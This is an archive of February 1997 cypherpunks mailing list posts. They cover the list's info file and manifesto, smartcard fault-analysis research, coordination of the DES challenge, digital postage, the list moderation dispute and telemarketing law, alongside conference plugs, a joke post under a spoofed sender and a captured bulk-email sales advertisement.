coming from that person. Ignoring them silently has shown to be the best
way of dealing with them. It will save you a lot of your own time. Even
though you are free do write anything, please consider not following up
to their posts with suggestions to shut them up. It only decreases
usefulness of this mailing list.

Eudora for Windows is known for its mail filtering capability. Procmail
is a tool of choice for Unix users who want to filter their articles.
Please read the documentation for these programs to find out how to set
them to filter and delete unwanted messages.

None of the above precludes the administrator of this mailing list to
use tools protecting his hardware and bandwidth from denial of service
attacks. If someone maliciously mailbombs cypherpunks mailing list, the
mail bombs may be silently ignored and not passed on to the list.

IMPORTANT: the list owner does not monitor the content of the messages
appearing here. I disclaim any liability whatsoever for the content of
articles on cypherpunks@algebra.com. If you have a problem with any
materials posted here, please contact the poster to resolve them. Your
use of the resources of this list constitutes an agreement with these
terms. You have been warned.

IV. Resources.

A. The sci.crypt FAQ

anonymous ftp to rtfm.mit.edu:/pub/usenet-by-group/sci.crypt

The cryptography FAQ is good online intro to crypto.  Very much worth
reading.  Last I looked, it was in ten parts.

B. cypherpunks ftp site

anonymous ftp to ftp.csua.berkeley.edu:/pub/cypherpunks

This site contains code, information, rants, and other miscellany.
There is a glossary there that all new members should download and
read.  Also recommended for all users are Hal Finney's instructions on
how to use the anonymous remailer system; the remailer sources are
there for the perl-literate.

C. Bruce Schneier's _Applied Cryptography_, published by Wiley

This is required reading for any serious technical cypherpunk (and there
are no non-technical cypherpunks).  An excellent overview of the field,
it describes many of the basic algorithms and protocols with their
mathematical descriptions.  Some of the stuff at the edges of the scope
of the book is a little incomplete, so short descriptions in here should
lead to library research for the latest papers, or to the list for the
current thinking.  All in all, a solid and valuable book.  It's even got
the cypherpunks-request address.


Enjoy and deploy.


-----------------------------------------------------------------------------

Cypherpunks assume privacy is a good thing and wish there were more
of it.  Cypherpunks acknowledge that those who want privacy must
create it for themselves and not expect governments, corporations, or
other large, faceless organizations to grant them privacy out of
beneficence.  Cypherpunks know that people have been creating their
own privacy for centuries with whispers, envelopes, closed doors, and
couriers.  Cypherpunks do not seek to prevent other people from
speaking about their experiences or their opinions.

The most important means to the defense of privacy is encryption. To
encrypt is to indicate the desire for privacy.  But to encrypt with
weak cryptography is to indicate not too much desire for privacy.
Cypherpunks hope that all people desiring privacy will learn how best
to defend it.

Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
to learn about it, to teach it, to implement it, and to make more of
it.  Cypherpunks know that cryptographic protocols make social
structures.  Cypherpunks know how to attack a system and how to
defend it.  Cypherpunks know just how hard it is to make good
cryptosystems.

Cypherpunks love to practice.  They love to play with public key
cryptography.  They love to play with anonymous and pseudonymous mail
forwarding and delivery.  They love to play with DC-nets.  They love
to play with secure communications of all kinds.

Cypherpunks write code.  They know that someone has to write code to
defend privacy, and since it's their privacy, they're going to write
it.  Cypherpunks publish their code so that their fellow cypherpunks
may practice and play with it.  Cypherpunks realize that security is
not built in a day and are patient with incremental progress.

Cypherpunks don't care if you don't like the software they write. 
Cypherpunks know that software can't be destroyed.  Cypherpunks know
that a widely dispersed system can't be shut down.

Cypherpunks will make the networks safe for privacy.

[Last updated Sun Feb 16 13:10:56 CST 1997 ichudov@algebra.com]
[Adopted from the original version by John Gilmore and Eric Hughes]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 16 Feb 1997 10:35:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DFA
Message-ID: <1.5.4.32.19970216182934.006e00b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bell wrote:
>does anyone know what has happened to DFA, and the people who
>just a few months ago were publishing such encouraging results?

There seems be sustained investigation of DFA, offensive and defensive,
by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by 
Quisquater and others.

However, the smartcard manufacturers appear to have a role in dampening 
publicity about the ongoing research, or at least diminishing the claims of 
effectiveness of DFA. Carol Francher, of Motorola, for example, writes
in February IEEE Spectrum:

   Technology is a wonderful thing but criminals, too, can use it as new 
   equipment and techniques become available or less expensive the 
   barriers to cracking a system may weaken. Recently Bellcore 
   announced a paper, "Cryptanalysis in the presence of hardware faults" 
   (available at www.bellcore.com), that proposed a theoretical method for
   breaking an asymmetric encryption code once a computer (or a 
   smartcard microcontroller) had been forced into faulty behavior.

   The Smart Card Forum, a multi-industry membership organization 
   headquartered in Tampa, Fla., has stated that it does not regard this 
   approach as a real-world risk, since in smartcard applications more 
   than one technique is used to protect the security of the entire system. 
   But the Bellcore methodology for breaking algorithms -- as well as 
   similar theoretical approaches, such as the one taken by two Israeli 
   researchers, Eli Biham and Adi Shamir -- highlights the need to 
   analyze and evolve the security of any system continually.

   -- "In your pocket: smartcards."  <http://jya.com/tee08.htm>

Several of the DFA-type researchers have commented on the smartcard 
industry's reluctance to publicize security weaknesses when the push is 
on to increase consumer trust and use; see, for example, Anderson and
Kuhn at:

  http://www.cl.cam.ac.uk/users/rja14/tamper.html

Quisquater and the SG group also note the reluctance of smartcard
mass-marketers to own up to security shortcomings of which their own
engineers know and fret.

Meanwhile, the DFA proponents and opponents are eagerly absorbing the 
continuing DFA-relatged reports, quietly watching one another, and both 
sides eying the booming smartcard market for lucrative rewards, as Ms. 
Francher suggests: licit and il.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sun, 16 Feb 1997 10:08:27 -0800 (PST)
To: Jon Biddell <jba@fl.net.au>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <856115767.1126707.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> How the hell do I get OFF this list ??

Say something herr Gilmore doesn`t like and you`ll be off the list in 
no time. 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 12:11:13 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702161959.OAA00144@www.video-collage.com>
Message-ID: <199702162007.OAA29812@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sean Roach wrote:
> 
> At 04:45 PM 2/15/97 -0600, Igor Chudov wrote:
> >Roy M. Silvernail wrote:
> ...
> >> Or that the money wasn't there in the first place (absent a trusted
> >> signature system), or the key doesn't exist, or the wrong key is
> >> offered, or the sender put the same e-dollar on all 60000 mails sie
> >> sent and it's already been redeemed.
> >
> >Well, if the trusted party performs the encryption by both recipient's
> >public key and the "retrieval key", the problem that you mention can 
> >be avoided.
> Yeah.  I as a spam artist send the "proof" message through the e-cash
> verification center with the Send To: field returning it to a mail exploder.
> Each receipient gets the same dollar.
> This assumes that the To: field is not hashed into the verification
> signature, and that the verification works like a glorified remailer.  (cash
> added on a separate channel).
> 

Sean,

No, it works the other way. The verification center gets $1000, creates
1000 $1 coins, signs them and encrypts each with the given recipients' 
public keys.

The spammers gets these signed and encrypted coins, may superencrypt
them and sends them to the recipients.

As long as the trusted party is honest, there is no way to cheat.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ths@rz.tu-ilmenau.de (Thomas S.)
Date: Sun, 16 Feb 1997 06:19:28 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <m3k9o8u94j.fsf@fh28.fa.umist.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain


Hi!

(wow, what a distribution. I should mention that des-challenge is down
this weekend, so the response may not be as expected.)

>>>>> "Timothy" == Timothy C May <tcmay@got.net> writes:

    Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote:

    >> Thomas S <ths@fh28.fa.umist.ac.uk> writes:
    >>> [...]
    >>> 
    >>> 5. The prize money will be split equally between Gutenberg and
    >>> EFF. There is a possibility of using part of it for stickers
    >>> or something similar, but don't count on it.
    >>  Not a good idea.
    >> 
    >> How can this be enforced? The RSADSI DES challenge is open to
    >> all comers, and how do you prove that someone who finds the key
    >> found it through this group effort?

The client reports the key to the server, not to the user (very
simple, and very simple ways to get around of course). In a nutshell:
we can't enforce it, at least I can't see a way to do so. We certainly
can't keep people from doing their own "treasure hunt".

...
    Timothy> A 2-4x factor is significant, and may warrant a
    Timothy> coordinated search. However, the various problems
    Timothy> implicit in coordinated searches are factors, too.

    Timothy> Also, an uncoordinated search solves the "prize" problem,
    Timothy> as whomever finds the key makes the contact with RSADSI.

Indeed--that's what we try to avoid. Our project is not a race for
money, it is a demonstration with a political impact.

The main point in favour of a coordinated search is the availability
of progress reports. Nobody can argue that the key was found by
chance--as there is exact data about performance and the expected
maximum duration for the search.

    Timothy> One of the problems with a coordinated search, if the
    Timothy> remaining keyspace to be doled out is publically
    Timothy> announced, is that as the keyspace is searched and a key
    Timothy> _not_ found, the remaining keyspace is increasingly more
    Timothy> tempting for "independent searchers" to search. Sort of
    Timothy> the way the odds on some lotteries actually become
    Timothy> "acceptable" as the lottery pot grows. The organizer of
    Timothy> the coordinated search must then, I surmise, keep the
    Timothy> assignments secret and dole out keyspace securely.

This is a technical problem which is discussed at the moment. The
keyspace will not be publically announced (and it wasn't during the
last project).

			Thomas
-- 
    OOOO,    OOOOOOOO,  |, ths@rz.tu-ilmenau.de
  OO,   OO,   O,    O,  |, http://www.rz.tu-ilmenau.de/~ths/
 O,       O,   O,       |, ______   __   ___
 O, O--O, O,    O,      |,  |      (_   |-|-`   
 O,       O,   O,       |,  |homas __)te| |en   
  OO,   OO,   O,    O,  |, 
    OOOO,    OOOOOOOO,  |, not to be forwarded without permission







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Feb 1997 11:57:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: *Really* Shameless, Gratuitous, FC97 DFA Hucksterism (Was Re: DFA)
In-Reply-To: <1.5.4.32.19970216182934.006e00b4@pop.pipeline.com>
Message-ID: <v03020914af2d0de310cf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:29 pm -0500 on 2/16/97, John Young wrote:


> Paul Bell wrote:
> >does anyone know what has happened to DFA, and the people who
> >just a few months ago were publishing such encouraging results?
>
> There seems be sustained investigation of DFA, offensive and defensive,
> by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by
> Quisquater and others.
>
> However, the smartcard manufacturers appear to have a role in dampening
> publicity about the ongoing research, or at least diminishing the claims of
> effectiveness of DFA.

At FC97 <http://www.offhsore.com.ai/fc97/> ;-), we have the following paper
at 10:45 on Tuesday February 22nd:


>     Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
>         Engineering in Perspective
>     David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

I'm not sure whether which side of the fight this paper will be on, but it
could be easy to speculate from the title. :-).

On the other side of the coin, we invited Shamir to come talk about his DFA
work, but eventually it turned out that he couldn't make the trip. Maybe
next year. We *did* get Ron Rivest, though.

(Shameless plug: Our *other* invited speakers are Simon L. Lelieveldt of
the Dutch central bank, who'll talk about the security of electronic money,
and Peter Wayner, the author of "Digital Cash", who'll talk about money
laundering.) (*Really* shameless hucksterism: Since AA *didn't* strike,
they're offering mucho cheapseat deals to places like Anguilla and St.
Maarten, a short ferry ride away, even if you make your reservations on
really short notice. Like, maybe to go to FC97? Nudge, Nudge. We can also
get you *cheap* hotel rooms when you get there... Wink, wink, wink.)

Meanwhile, the FC97 workshop (which runs the week prior to the conference
itself) starts on Monday, and, having weathered the American Airlines
non-strike, Ian Goldberg, Adam Shostack and Gary Howland are now all down
in Anguilla getting things set up. I don't think people can get to *that*
in time, but, hey, you could *try*, I suppose. Better get packing, though,
'cause time is running out. The workshop starts at 09:00 tomorrow.
<http://www.offshore.com.ai/fc97/>

;-).

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Newton <newton@atdot.dotat.org>
Date: Sat, 15 Feb 1997 20:42:49 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <v03007801af2c0a2cc906@[207.167.93.63]>
Message-ID: <199702160443.PAA08174@atdot.dotat.org>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

 > The organizer of the coordinated search must then, I surmise, keep the
 > assignments secret and dole out keyspace securely.

Perhaps they should DES-encrypt the list of assignments :-)

    - mark

--------------------------------------------------------------------
I tried an internal modem,                          newton@dotat.org
     but it hurt when I walked.                          Mark Newton
----- Voice: +61-4-1155-2401 ------------- Fax: +61-8-83732527 -----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 16 Feb 1997 15:31:21 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702162113.NAA07700@kachina.jetcafe.org>
Message-ID: <3.0.1.32.19970216153218.006ce5d0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:13 PM 2/16/97 -0800, Dave Hayes wrote:

>I can also offer my participation in the distributed mailing list, if
>that is what it takes to get cypherpunks free of control interests again.

I think it would be more accurate to say that this is what it takes to get
cypherpunks into the hands of different control interests. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Clinton <president@whitehouse.gov>
Date: Sun, 16 Feb 1997 12:07:05 -0800 (PST)
To: Those cypher-rebels <cypherpunks@toad.com>
Subject: We're in Anguilla!  Comon down!!!
Message-ID: <m0vwCih-0002jyC@offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain


My fellow cypherpunks,

	I wanted to let you all know, we are having a great time, building
a router to the 21st Century, down here in sunny Anguilla.   Al and I will
be wiring Anguilla's great high school for the internet.  Afterwards, we'll
meet with some longtime supporters of the democratic party for a beer.

	Spaces at the conference are still available, I didn't let those
folks at American strike, so you have no excuses to be anywhere else next
week.  

Willy
Citizen Unit 429-92-9947
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 16 Feb 1997 13:19:23 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Questions about Naughty Robot (fwd)
In-Reply-To: <Pine.LNX.3.95.970216122014.30109A-100000@shelob.aracnet.com>
Message-ID: <0n1ram200YUe051PQ0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Genocide <gen2600@aracnet.com> writes:
>         I got this message (on a system that I am webmaster on) regarding
> something that sounded so stupid it made me chuckle...Naughty Robot...I
> have enclosed the message below.  If any of you have any idea what this
> user is talking about, any info would be appreciated.
<snip>
> >> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot
> >> has infected your host computer and consider all your credit cards
> >> stolen.
> >> 
> >> I think it's a hoax, but the Admins at VR-NET Cafe say that they have
> >> been hit with it and say that it's a script that does hack into the
> >> IPS's server and sits back and watches the users browse the web and take
> >> the info they see on there screen and dump to some remote server??
> >> 
> >> I was wondering if you have heard about it...and if so can you direct to
> >> the right locations on the web to get the "Official" Scoop on it?

It could theoretically be a JavaScript that makes a teeny tiny window
and reports back stuff that it really shouldn't be able to see, I
think Netscape fixed that bug, though.

FWIW,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Feb 1997 13:57:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97: Post-strike airfares
Message-ID: <v0302091baf2d2cb64eea@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


One more datablip about FC97 and I'll shut up a bit.

Having just promised gratuitously cheap airfares to Anguilla/St. Maarten, I
went and called the local branch of American Express Travel and got some
actual prices. Their number is 617-868-2600, but AEXP-T has branches
everywhere, and, I think, an 800 number, so you might want to get ahold of
them that way...

Anyway, here's what I got, as of about 20 minutes ago:

For departures 2/22/97 with return 3/1/97,

Boston  Anguilla           $  864
Boston  St. Maarten           851 (+ Taxi and short ferry ride to Anguilla)
San Francisco  Anguilla       828
San Francisco  St. Maarten    748
Heathrow  Anguilla          1,315 (looks like the strike didn't affect you
folks, sorry)

All in all, that's as good as the prices we were getting for 14 day advance
purchase earlier this month. Not bad, but not completely spectacular. Note
that it's cheaper to get to Anguilla or St. Maarten from San Francisco than
it is from Boston, so y'all don't have an excuse. Well, possibly seat
fatigue, but Sunday on the beach will fix that.

I'll check tomorrow to see if the airline yield management software war
gives us something better after the weekend's over. Only if fares are
significantly lower will I post something here about it, in the interest of
nomex conservation. :-).

If you *do* decide to fly while the seats are hot, don't forget to register
for FC97 first, so we can plan for meals and stuff:
<http://www.offshore.com.ai/fc97/>

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 14:57:55 -0800 (PST)
To: boursy@earthlink.net (ISP_Ratings)
Subject: Re: Proposed info file
In-Reply-To: <33078E8F.378E@earthlink.net>
Message-ID: <199702162250.QAA32228@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


ISP_Ratings wrote:
> Igor Chudov @ home wrote:
> > About cypherpunks mailing lists
> > -------------------------------
> 
> 
>   It all sounds very interesting especially given what's been going
> on.  About how many posts a day can a subscriber reasonbly expect
> in their mailbox if one were to subscribe?
> 

About a hundred, maybe. It is QUITE A LOT. If you are not interested
in applications of cryptography, the list may not be as interesting.
All the bickering that you heard is mostly rotating around crypto use.


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sun, 16 Feb 1997 14:32:31 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702162124.NAA07767@kachina.jetcafe.org>
Message-ID: <33078BE3.2FD@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> 
>> censorship on cypherpunks.  However, I think most peoples' opinions
>> didn't really turn, or at least people didn't realize how serious
>> things were and didn't really care, until Tim May [someone the many
>> freedom-knights hate] started criticizing this censorship in extremely
>> reasonable messages that were suppressed from both the -edited and
>> -flames mailing list.
> 
> Assuming that is true, that people do not care about censorship until
> a person with an arbitrary reasonability says something, I would say
> that such a group cares not about free speech...even if they think
> they do.

  I agree--and again that is sad.  Hopefully many have learned from 
the experience--that does on occassion really happen.

                           Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sun, 16 Feb 1997 14:44:00 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Proposed info file
In-Reply-To: <199702161929.NAA29420@manifold.algebra.com>
Message-ID: <33078E8F.378E@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Hi,
> 
> The text below is what I wrote for cypherpunks@algebra.com to be
> sent to new subscribers. Feel free to criticize.
> 
>         - Igor.
> 
> @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
> 
> About cypherpunks mailing lists
> -------------------------------


  It all sounds very interesting especially given what's been going
on.  About how many posts a day can a subscriber reasonbly expect
in their mailbox if one were to subscribe?

                       Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 16 Feb 1997 18:11:11 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Moderation experiment and moderator liability (fwd)
Message-ID: <Pine.SUN.3.91.970216180657.2955D-100000@crl8.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Adam has assembled a pretty good history of recent events.  The
following comments only cover some of the issues raised by Adam.
It should not be assumed that I agree with all the statements
upon which I do not comment.  I have limited myself to commenting
on only a few issues with which I am in dispute.

On Sun, 16 Feb 1997, Adam Back wrote:

> Events:

> 9. John made a post to the list announcing that the list would be
> moderated for one month from Jan 11 as an experiment, and included
> Sandy Sandfort's proposed moderatation policy and offer to act as
> moderator.  It appeared that the moderation experiment was Sandy's
> suggestion, and that John had agreed to go along with it.

Moderation was my suggestion, but the moderation policy was not.
My suggestion was quite different.  In a nutshell I wanted to:

	a.  Limit posts to list members only.
	b.  Promote civility on the list by applying sanction to
	    list members who repeatedly flamed or otherwise 
	    breached civil decorum.
	c.  Provide for anonymous or non-member posts by having
	    volunteers act as "gateways" who would forward 
	    anonymous--but civil--posts to the list.

Curiously, in a subsequent telephone conversation, Tim May 
proposed almost that exact suggestion as an alternative form of
moderation that he said would have been acceptable to him.  Go
figure.
 
> 21. Tim received a warning from C2Net's lawyers that if he did not
> desist from mentioning that Dimitri had posted an article criticising
> a C2Net product that he would be sued!

Absolutely false.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sun, 16 Feb 1997 09:12:24 -0800 (PST)
To: John Ioannidis <pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <1.5.4.16.19970216171204.1a3781d8@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


At 21:32 1997-02-15 -0200, John Ioannidis wrote:

Sorry to correct you, but uti-maco is an old  german company ...

>I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
>for their boards. However, last I checked with them (about half a year ago)
>the price of the boards was pretty steep -- of the order of $1K. 
>
>Anyway, if the boards Peter is referring to are ready in the next couple 
>of months, I volunteer to write drivers for Linux and *BSD*.
>
>/ji
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Product Link <p-link@usa.net>
Date: Sun, 16 Feb 1997 18:17:53 -0800 (PST)
Subject: We Will Send Your Bulk Email
Message-ID: <199702170217.SAA13218@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




*If you want to be removed from our mailing list, please respond to this
email and put "Remove" in the subject line.


We will send out your bulk E Mail.  Period.  No qualifiers, no conditions,
no nonsense...and we'll do it at the best prices.

We are Product Link.  We are a business partner with a marketing 
company which develops buyers for its clients' products through electronic 
marketing; primarily broadcast fax.  Together, we have over a hundred clients, 
almost 10% of which are Fortune 500 companies.   We have numerous staff, 
and have just begun, at client request, to send high volumes of E Mail.

If you're new to bulk E Mail marketing, as we were a short time ago, I can
confirm that all the E Mails you've been getting from E Mail software
companies about how great E Mail marketing is; well, they're true.  However,
as those of you who have already purchased software and have tried bulk
E mail know, nothing good ever comes easy.

Our staff has spent millions of advertising dollars on our clients' behalf;
everything from commercials on the Superbowl to ads in the New York Times,
to full page spreads in Scientific American.; not to mention the sending
of over 1,000,000 marketing faxes a year for major corporations.

Bulk E mail has been quite an eye opener.

The Internet, the on line services and ISP providers are full of shrill,
self appointed "net cops," whose mission in life seems to be dumping on those
who have the audacity to sell product via E Mail.   I don't wish nor intend
to debate the issue here, except to say that if you've purchased bulk E Mail
software (or intend to), you've already found out that when you attempt to
use it, your ISP provider will shut you down, your E Mail account will be
bombed, and electronic flames will become a way of life.

Since we have a low tolerance for allowing small groups of vocal fanatics
to dictate our business life, we set up our own system to send out Bulk
E Mail.  This system will be greatly expanded in 30 days or so (we're
installing more T lines), but we currently have room on our system to send
out Bulk E Mail for a limited number of companies or individuals other
than ourselves.

We'll send out your order, large or small.  We'll do it quickly, and
we'll do it at a really great price.  You can supply the list, or we'll
supply the list.  Place an order with us, and we'll give you advice on
how to set up your E Mail so your on line service won't shut you down, how
to write your material, and much more.  We will also write your marketing
material, if you so desire. If you supply a list, we can run it through
our computer program to sort out all duplicates and bad AOL or CompuServe
addresses.  If you buy a list from us, we will guarantee that the exact
number of names you order will go out; if we send a list for you and a
number of addresses are not delivered, we will send out more E Mails until
you get delivered exactly what you ordered. We can even tell you how to
confirm that your list was sent.

We also have programs that can filter out E Mail "bombs" and other
irritating toys played with at your expense by people who don't
have a life.

When we first began exploring bulk E mail, we contacted numerous firms
advertising that they would send out bulk E mail.  What we got was
answering machines, disconnected numbers, and no call backs.  The one firm
that did contract us would only send limited numbers of E mails for
us, and then only if we had already sent the list out once and taken off all
the removes (go figure...if we could send out the list once, what did we
need them for?).  We finally got so exasperated, we set up our own system.
And are we glad we did.  Speaking as a marketing man with over 30 years
experience in major advertising, E Mail marketing will change the face of
advertising and cost of sale forever.  I do not believe that has ever been
a vehicle like it in history to allow anyone of any size and any budget to
advertise and sell their products literally overnight.  We employ 18 people,
and I guarantee you that when you E Mail us back, you'll get a call.
Right away.  And the office phone number we give you, will have a live
person at the other end.

Following is a price list to give you an idea of the 
quality of our company.  Please bear in mind that Bulk E Mail is 
effective in large numbers; i.e., 25,000 and above.

Price List To Send Bulk E Mail:

Amount			Cost		Set Up (One Time Fee)

25,000			$150.00		$50.00		

50,000			$275.00		$50.00

75,000			$400.00		$50.00

100,000			$550.00		$50.00		


Bulk E Mail amounts above 100,000 per sending will be bid on a 
case by case basis.  If  you wish to modem us a list, there may be a 
small charge for down load depending on list size.  If you wish us to 
"clean" your list (remove all duplicates and bad addresses), we will  supply a 
bid on a case by case basis as with writing your marketing materials and 
other services.

If we may be of service to you, please call us directly at 
(805) 654-4042.  Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 18:25:03 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: More on digital postage
In-Reply-To: <199702162336.SAA28881@homer.iosphere.net>
Message-ID: <v03007802af2d6c9c0823@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:36 PM -0500 2/16/97, Cynthia H. Brown wrote:

>My understanding is that the legislation restricts commercial
>solicitations by phone to:
>
>- certain times of day (not after 9 PM? unsure)
>- one initial call, and no follow-ups if the person explicitly asks
>the caller to never phone this number again (again, unsure of legal
>details)
>
>I don't consider this scenario overly restrictive, since it gives
>_them_ a chance to sell their product, and _me_ a chance to have them
>delete my name from their database.  Unfortunately, without some
>formal means of redress, very few telemarketers seem to remember that
>they are unlikely to find new customers if they call at 7 AM Saturday
>for the third time this month.

I despise telemarketing calls as much as the next one, and I now let my
answering machine do the answering whenever possible, only picking up if
it's a call that sounds interesting. (And my cellular phone number I give
to only a very few people, as I get charged for incoming calls before 7
p.m.)

So, I'm sympathetic to the "problem."

However, I try to always "deconstruct" governmental/regulatory "solutions"
to see if statist encroachment is lurking in the bushes.

In the case of the notion of "have them delete my name from their
database," here are some of the issues:

* The Armour Spam Company buys its data bases from direct marketing firms,
so whose data base is one's name supposed to be removed from? The instance
used by Armour in its February 17th contact, or the "parent index" (which
is itself an instance) controlled by someone else? How does Armour insist
that the data base company from which it bought the data base handle the
removal?

* If the argument is only that Armour Spam Company not repeat a call, this
is generally not a problem, as few companies repeat their telemarketing
pitches; counterexamples doubtless exist, but the general trend is not for
repeat calls, but, rather, for the same data base to be bought by multiple
telemarketing firms.

* And there are "freedom of speech" (important in the U.S., though not
perhaps in other countries lacking an explicit provision in their
constitutions or charters) issues in forcing sellers of legally obtained
data bases to reveal internals, to modify them, etc.

(Again, it is Armour Spam Company that made the offending call, but they,
for this example, only made the call _once_. The fact that N other
companies make similar calls, based on the same data base, is a separable
issue. Unless the collection and sale of legally-accumulated data bases is
regulated, no real remedy exists. I am not, of course, a fan of regulating
data bases, but that's a long and involved issue to discuss.)

>What means of redress would you suggest, in the absence of
>legislation / fines, to someone who has been called repeatedly by a
>telemarketer?  This person is not a current customer and so cannot
>withdraw his/her business.

As I said, I believe the case of repeated calls by the _same_ telemarketer
is unusual. Perhaps others have had different experiences.

And if a particular telemarketer is banned from calling twice, their
solution will be obvious: they'll change their company name, farm out the
calls to a subcontractor, etc. That is, they'll become a different
"corporate instance."

It'll be very tough for any law to keep up with such changes (without
trampling severely on what most of us think of us as basic freedoms).

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
